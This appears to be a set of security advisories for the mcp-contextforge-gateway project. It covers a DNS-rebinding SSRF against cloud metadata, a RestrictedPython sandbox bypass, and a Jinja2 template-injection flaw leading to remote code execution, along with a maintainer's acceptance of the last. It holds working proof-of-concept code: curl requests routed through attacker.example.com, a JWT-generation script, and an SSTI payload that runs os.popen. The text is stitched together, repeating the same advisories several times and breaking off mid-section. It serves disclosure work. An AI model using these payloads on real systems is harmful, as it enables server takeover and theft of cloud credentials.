mcp-contextforge-gateway

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

• The validated IP address is never passed to the HTTP client.
• Only the original hostname is forwarded, triggering a second independent lookup.
• No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):

"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."

Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):

"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly enabled by an operator).
2. The attacker holds a credential with explicit gateways.read permission assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 — Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"   # must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")

TOKEN=$(python3 /tmp/gen_token.py)

Step 2 — Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"

Step 3 — DNS rebinding attack

1. Attacker controls DNS for attacker.example.com with TTL set to 1 second.
2. Initial record: attacker.example.com → 1.2.3.4 (any public IP).
3. Submit the request:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'

4. validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4; all SSRF checks pass.
5. Attacker immediately flips the DNS record: attacker.example.com → 169.254.169.254.
6. httpx independently re-resolves the hostname and connects to 169.254.169.254.
7. The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

Commit: f855e54d5b7bc1c91b977574a03b91eff6b86bb6 Component: mcp-servers/python/python_sandbox_server/src/python_sandbox_server/server_fastmcp.py

Vulnerability

RestrictedPython's sandbox in ContextForge's python_sandbox_server sub-project allows arbitrary Python execution via three compounding weaknesses:

1. Raw getattr is exposed in safe_builtins, bypassing _getattr_ mediation.
2. validate_code checks for literal dangerous dunder strings, but the payload constructs those names at runtime.
3. The execute_code MCP tool can be exposed over HTTP/SSE transport with no authentication layer.

Proof of Concept

The local PoC was executed against the real pinned sandbox code path. It constructs dunder names at runtime, walks Python's class hierarchy through the exposed getattr, finds subprocess.Popen, and executes a harmless marker command.

Transcript excerpt:

POC: IBM/mcp-context-forge RestrictedPython getattr sandbox bypass
validation={'valid': True, 'message': 'Code passed validation', 'warnings': None}
success=True
stdout="FOUND_POPEN\nb'IBM_SANDBOX_POC_PASS'\n"
IBM_RESTRICTEDPYTHON_GETATTR_POPEN_REPRO_PASS

PoC artifact hashes:

beb2d856c5a1b7c10005c9c0fccaf3d491d4fbcc2a69bc54b5e95c5730c0874b  run.py
1037dcb4f0831a3c96ca728527f939af1d3e19514b23ef54f663707875748ff8  run.sh
7026e676ee31916886f10feed959ffdbe486fda05b17421387e4717acbf90ba6  transcript.txt

Production Deployment Context

ContextForge's documentation describes registering MCP servers as gateways in a running ContextForge instance. If this sandbox server is reachable over HTTP in that pattern, any client that can reach the endpoint can submit the payload through tools/call.

Impact

An attacker with access to the python_sandbox_server HTTP endpoint can execute OS commands with the privileges of the server process. In containerized deployments with host mounts or internal network reachability, this can become filesystem compromise or network pivoting from the gateway host.

Suggested Fix

Remove raw getattr and setattr from safe_builtins, expose only policy-controlled attribute access if dynamic lookup is required, replace substring filtering with a stricter RestrictedPython policy pipeline, and add authentication to HTTP transport for all tools/call requests.

Caveats

This report covers the python_sandbox_server sub-project. The core ContextForge gateway and proxy components are not directly affected. The Critical score assumes HTTP reachability; stdio-only deployments reduce the attack vector.

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

• The validated IP address is never passed to the HTTP client.
• Only the original hostname is forwarded, triggering a second independent lookup.
• No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):

"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."

Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):

"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly enabled by an operator).
2. The attacker holds a credential with explicit gateways.read permission assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 — Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"   # must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")

TOKEN=$(python3 /tmp/gen_token.py)

Step 2 — Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"

Step 3 — DNS rebinding attack

1. Attacker controls DNS for attacker.example.com with TTL set to 1 second.
2. Initial record: attacker.example.com → 1.2.3.4 (any public IP).
3. Submit the request:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'

4. validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4; all SSRF checks pass.
5. Attacker immediately flips the DNS record: attacker.example.com → 169.254.169.254.
6. httpx independently re-resolves the hostname and connects to 169.254.169.254.
7. The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

Commit: f855e54d5b7bc1c91b977574a03b91eff6b86bb6 Component: mcp-servers/python/python_sandbox_server/src/python_sandbox_server/server_fastmcp.py

Vulnerability

RestrictedPython's sandbox in ContextForge's python_sandbox_server sub-project allows arbitrary Python execution via three compounding weaknesses:

1. Raw getattr is exposed in safe_builtins, bypassing _getattr_ mediation.
2. validate_code checks for literal dangerous dunder strings, but the payload constructs those names at runtime.
3. The execute_code MCP tool can be exposed over HTTP/SSE transport with no authentication layer.

Proof of Concept

The local PoC was executed against the real pinned sandbox code path. It constructs dunder names at runtime, walks Python's class hierarchy through the exposed getattr, finds subprocess.Popen, and executes a harmless marker command.

Transcript excerpt:

POC: IBM/mcp-context-forge RestrictedPython getattr sandbox bypass
validation={'valid': True, 'message': 'Code passed validation', 'warnings': None}
success=True
stdout="FOUND_POPEN\nb'IBM_SANDBOX_POC_PASS'\n"
IBM_RESTRICTEDPYTHON_GETATTR_POPEN_REPRO_PASS

PoC artifact hashes:

beb2d856c5a1b7c10005c9c0fccaf3d491d4fbcc2a69bc54b5e95c5730c0874b  run.py
1037dcb4f0831a3c96ca728527f939af1d3e19514b23ef54f663707875748ff8  run.sh
7026e676ee31916886f10feed959ffdbe486fda05b17421387e4717acbf90ba6  transcript.txt

Production Deployment Context

ContextForge's documentation describes registering MCP servers as gateways in a running ContextForge instance. If this sandbox server is reachable over HTTP in that pattern, any client that can reach the endpoint can submit the payload through tools/call.

Impact

An attacker with access to the python_sandbox_server HTTP endpoint can execute OS commands with the privileges of the server process. In containerized deployments with host mounts or internal network reachability, this can become filesystem compromise or network pivoting from the gateway host.

Suggested Fix

Remove raw getattr and setattr from safe_builtins, expose only policy-controlled attribute access if dynamic lookup is required, replace substring filtering with a stricter RestrictedPython policy pipeline, and add authentication to HTTP transport for all tools/call requests.

Caveats

This report covers the python_sandbox_server sub-project. The core ContextForge gateway and proxy components are not directly affected. The Critical score assumes HTTP reachability; stdio-only deployments reduce the attack vector.

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

• The validated IP address is never passed to the HTTP client.
• Only the original hostname is forwarded, triggering a second independent lookup.
• No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):

"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."

Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):

"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."

The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.

Prerequisites

1. MCPGATEWAY_ADMIN_API_ENABLED=true (not the default; must be explicitly enabled by an operator).
2. The attacker holds a credential with explicit gateways.read permission assigned via a database role.

Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.

Proof of Concept

Setup

cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5

Step 1 — Obtain a token for an account with database role assignment

The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:

import datetime, jwt, uuid

SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL  = "admin@example.com"   # must have platform_admin role in DB
now    = datetime.datetime.now(datetime.timezone.utc)

payload = {
    "sub": EMAIL,
    "aud": "mcpgateway-api",
    "iss": "mcpgateway",
    "jti": str(uuid.uuid4()),
    "iat": now,
    "exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")

TOKEN=$(python3 /tmp/gen_token.py)

Step 2 — Baseline control: direct private IP is rejected

Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"

Step 3 — DNS rebinding attack

1. Attacker controls DNS for attacker.example.com with TTL set to 1 second.
2. Initial record: attacker.example.com → 1.2.3.4 (any public IP).
3. Submit the request:

curl -s -w "\nHTTP %{http_code}\n" \
  -X POST http://127.0.0.1:8000/admin/gateways/test \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'

4. validate_gateway_test_url() resolves attacker.example.com → 1.2.3.4; all SSRF checks pass.
5. Attacker immediately flips the DNS record: attacker.example.com → 169.254.169.254.
6. httpx independently re-resolves the hostname and connects to 169.254.169.254.
7. The gateway returns the IMDS response body to the caller.

Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.

Impact

Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.

Suggested Fix

After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.

Commit: f855e54d5b7bc1c91b977574a03b91eff6b86bb6 Component: mcp-servers/python/python_sandbox_server/src/python_sandbox_server/server_fastmcp.py

Vulnerability

RestrictedPython's sandbox in ContextForge's python_sandbox_server sub-project allows arbitrary Python execution via three compounding weaknesses:

1. Raw getattr is exposed in safe_builtins, bypassing _getattr_ mediation.
2. validate_code checks for literal dangerous dunder strings, but the payload constructs those names at runtime.
3. The execute_code MCP tool can be exposed over HTTP/SSE transport with no authentication layer.

Proof of Concept

The local PoC was executed against the real pinned sandbox code path. It constructs dunder names at runtime, walks Python's class hierarchy through the exposed getattr, finds subprocess.Popen, and executes a harmless marker command.

Transcript excerpt:

POC: IBM/mcp-context-forge RestrictedPython getattr sandbox bypass
validation={'valid': True, 'message': 'Code passed validation', 'warnings': None}
success=True
stdout="FOUND_POPEN\nb'IBM_SANDBOX_POC_PASS'\n"
IBM_RESTRICTEDPYTHON_GETATTR_POPEN_REPRO_PASS

PoC artifact hashes:

beb2d856c5a1b7c10005c9c0fccaf3d491d4fbcc2a69bc54b5e95c5730c0874b  run.py
1037dcb4f0831a3c96ca728527f939af1d3e19514b23ef54f663707875748ff8  run.sh
7026e676ee31916886f10feed959ffdbe486fda05b17421387e4717acbf90ba6  transcript.txt

Production Deployment Context

ContextForge's documentation describes registering MCP servers as gateways in a running ContextForge instance. If this sandbox server is reachable over HTTP in that pattern, any client that can reach the endpoint can submit the payload through tools/call.

Impact

An attacker with access to the python_sandbox_server HTTP endpoint can execute OS commands with the privileges of the server process. In containerized deployments with host mounts or internal network reachability, this can become filesystem compromise or network pivoting from the gateway host.

Suggested Fix

Remove raw getattr and setattr from safe_builtins, expose only policy-controlled attribute access if dynamic lookup is required, replace substring filtering with a stricter RestrictedPython policy pipeline, and add authentication to HTTP transport for all tools/call requests.

Caveats

This report covers the python_sandbox_server sub-project. The core ContextForge gateway and proxy components are not directly affected. The Critical score assumes HTTP reachability; stdio-only deployments reduce the attack vector.

Summary

mcpgateway.services.prompt_service.PromptService renders user-supplied prompt templates using Jinja2's plain Environment() rather than SandboxedEnvironment. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.

Details

Affected component: mcpgateway/services/prompt_service.py Affected version: 0.9.0 (verified). The fix in the unreleased main branch indicates all earlier published versions are likewise affected.

Vulnerable code

mcpgateway/services/prompt_service.py, line 26:

from jinja2 import Environment, meta, select_autoescape

mcpgateway/services/prompt_service.py, line 135 (inside PromptService.__init__):

self._jinja_env = Environment(
    autoescape=select_autoescape(["html", "xml"]),
    trim_blocks=True,
    lstrip_blocks=True,
)

mcpgateway/services/prompt_service.py, lines 1592–1616 (_render_template):

def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
    ...
    try:
        jinja_template = self._jinja_env.from_string(template)
        return jinja_template.render(**arguments)
    except Exception:
        try:
            return template.format(**arguments)
        except Exception as e:
            raise PromptError(f"Failed to render template: {str(e)}")

_render_template is invoked from PromptService.get_prompt (line 892):

rendered = self._render_template(prompt.template, arguments)

Where prompt.template is loaded from the database. The template field of the database row is populated via the register_prompt, update_prompt, and register_prompts_bulk API endpoints, which accept attacker-controlled template content from authenticated API callers.

Because self._jinja_env is a plain jinja2.Environment rather than jinja2.sandbox.SandboxedEnvironment, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to __builtins__.__import__ and calls os.popen (or any equivalent chain) executes arbitrary code at render time.

PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

Setup

pip install mcp-contextforge-gateway==0.9.0

Reproducer (poc.py)

import os
import warnings

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    from mcpgateway.services.prompt_service import PromptService

import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")

PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
    os.remove(PROOF)

service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")

payload = (
    "{{ self.__init__.__globals__.__builtins__"
    ".__import__('os').popen('echo MCPGATEWAY_RCE > "
    + PROOF.replace('\\', '/') + "').read() }}"
)

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render:  {os.path.exists(PROOF)}")

if os.path.exists(PROOF):
    with open(PROOF) as f:
        print(f"[+] PROOF contents: {f.read().strip()!r}")

Verified output

[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render:  True
[+] PROOF contents: 'MCPGATEWAY_RCE'

The file MCPGATEWAY_RCE_PROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAY_RCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

End-to-end via the API

A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.

Impact

This is a Server-Side Template Injection vulnerability in a component (PromptService) that is exposed via the gateway's REST API. The attacker requirement is authenticated API access with permission to register or update prompts — a normal capability for users in the gateway's intended deployment model.

Successful exploitation yields:

• Arbitrary command execution on the gateway host with the gateway process's privileges
• Read/write access to the gateway's filesystem
• Read access to environment variables (including secrets, API keys, JWT signing keys, database credentials)
• Network access from the gateway host (lateral movement, internal request forgery beyond the gateway's normal SSRF protections, exfiltration to external endpoints)
• Persistence by registering additional malicious prompts, modifying configuration, or writing to disk

Affected user populations:

• Any deployment running a published version of mcp-contextforge-gateway from PyPI
• Multi-tenant deployments where any tenant can register prompts: a single tenant compromises the whole gateway and indirectly all other tenants
• CI/CD pipelines that programmatically register prompt templates from untrusted sources
• Deployments that import or sync prompt definitions from external registries

Suggested remediation requests:

1. Issue a CVE / GitHub Security Advisory for the affected published versions so downstream users receive Dependabot and security-scanner alerts
2. Publish the patched release to PyPI so pip install --upgrade returns a fixed version
3. Mark the relevant CHANGELOG.md entry as a security fix and add an upgrade-urgency note in SECURITY.md for users still on affected versions

Maintainer review (accepted)

Reproduced and accepted. Findings from the maintainer's review:

Confirmed valid (SSTI → RCE). In mcpgateway/services/prompt_service.py as published in v0.9.0 (and all earlier releases), _render_template() runs Environment().from_string(template).render(**args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the __builtins__.__import__('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths — POST /prompts (prompts.create), prompt update (prompts.update), and bulk register — then rendered in get_prompt() → _render_template(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

Scope (set on this advisory): affected < 1.0.0 (0.1.0–0.9.0); patched 1.0.0.

Already fixed. Migrated to SandboxedEnvironment in #4072 (commit 4d3100466, 2026-04-24), shipped in v1.0.0. Current main (1.0.3) additionally prevents the str.format() fallback from re-opening the attribute path when the sandbox rejects an expression (a jinja2.exceptions.SecurityError no longer falls through to .format()).

Correction to the report. "Patched version not installable via pip" is now stale — 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to >= 1.0.0.

Audit. Other jinja2.Environment usages in the codebase (main.py, version.py, tools/builder, email templates, content_security.py) render trusted on-disk templates via FileSystemLoader or are parse-only — none render user-supplied template strings. No second instance of this pattern.

Summary

The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.

Details

validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.

The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:

• The validated IP address is never passed to the HTTP client.
• Only the original hostname is forwarded, triggering a second independent lookup.
• No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.

The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.

Two independent acknowledgements in the source code

Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):

